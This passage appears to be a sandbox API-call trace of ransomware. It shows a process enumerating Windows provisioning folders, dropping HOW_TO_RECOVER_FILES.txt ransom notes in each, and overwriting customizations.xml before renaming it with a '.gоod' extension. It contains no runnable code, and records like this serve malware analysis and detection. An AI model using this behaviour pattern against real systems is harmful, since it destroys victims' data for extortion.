ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.936] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0118.936] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.936] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0118.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0118.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0118.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0118.936] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0118.936] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0118.936] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.937] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0118.937] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0118.937] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0118.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0118.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0118.937] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0118.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0118.937] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0118.938] GetFileType (hFile=0x768) returned 0x1 [0118.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0118.938] GetFileType (hFile=0x768) returned 0x1 [0118.938] WriteFile (in: hFile=0x768, lpBuffer=0x36db0f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x36db0f8*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0118.939] CloseHandle (hObject=0x768) returned 1 [0118.939] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0118.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0118.940] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0118.940] GetFileType (hFile=0x768) returned 0x1 [0118.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0118.940] GetFileType (hFile=0x768) returned 0x1 [0118.941] WriteFile (in: hFile=0x768, lpBuffer=0x36de9f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x36de9f0*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0118.943] CloseHandle (hObject=0x768) returned 1 [0118.943] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0118.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0118.943] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0118.945] GetFileType (hFile=0x768) returned 0x1 [0118.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0118.945] GetFileType (hFile=0x768) returned 0x1 [0118.946] WriteFile (in: hFile=0x768, lpBuffer=0x36e2460*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x36e2460*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0118.947] CloseHandle (hObject=0x768) returned 1 [0118.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0118.947] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpFilePart=0x0) returned 0x4c [0118.947] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0118.949] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.949] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54134c0b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1144, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0118.949] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540c24cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0118.949] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0118.949] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0118.949] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0118.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0118.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0118.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0118.950] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpFilePart=0x0) returned 0x4c [0118.950] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0118.951] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.951] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54134c0b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1144, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0118.951] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540c24cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0118.952] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0118.952] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.952] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0118.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0118.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0118.953] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0118.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0118.953] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x36f23e0 | out: lpFileInformation=0x36f23e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54134c0b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1144)) returned 1 [0118.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0118.955] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0118.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0118.955] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0118.956] GetFileType (hFile=0x768) returned 0x1 [0118.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0118.956] GetFileType (hFile=0x768) returned 0x1 [0118.956] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0118.956] ReadFile (in: hFile=0x768, lpBuffer=0x36f2868, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x36f2868*, lpNumberOfBytesRead=0x1f9edca8*=0x144, lpOverlapped=0x0) returned 1 [0118.958] CloseHandle (hObject=0x768) returned 1 [0118.958] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0118.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0118.958] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0118.958] GetFileType (hFile=0x768) returned 0x1 [0118.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0118.958] GetFileType (hFile=0x768) returned 0x1 [0118.958] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1144 [0118.958] WriteFile (in: hFile=0x768, lpBuffer=0x36f3c50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x36f3c50*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0118.959] CloseHandle (hObject=0x768) returned 1 [0118.959] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0118.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0118.959] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0118.959] GetFileType (hFile=0x768) returned 0x1 [0118.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0118.959] GetFileType (hFile=0x768) returned 0x1 [0118.959] ReadFile (in: hFile=0x768, lpBuffer=0x36f5f48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x36f5f48*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0120.873] CloseHandle (hObject=0x768) returned 1 [0120.873] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0120.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0120.873] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0120.874] GetFileType (hFile=0x768) returned 0x1 [0120.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0120.874] GetFileType (hFile=0x768) returned 0x1 [0120.874] WriteFile (in: hFile=0x768, lpBuffer=0x3339358*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3339358*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0120.874] CloseHandle (hObject=0x768) returned 1 [0120.874] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0120.874] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0120.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0120.874] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x44421352, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1154)) returned 1 [0120.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0120.874] MoveFileW 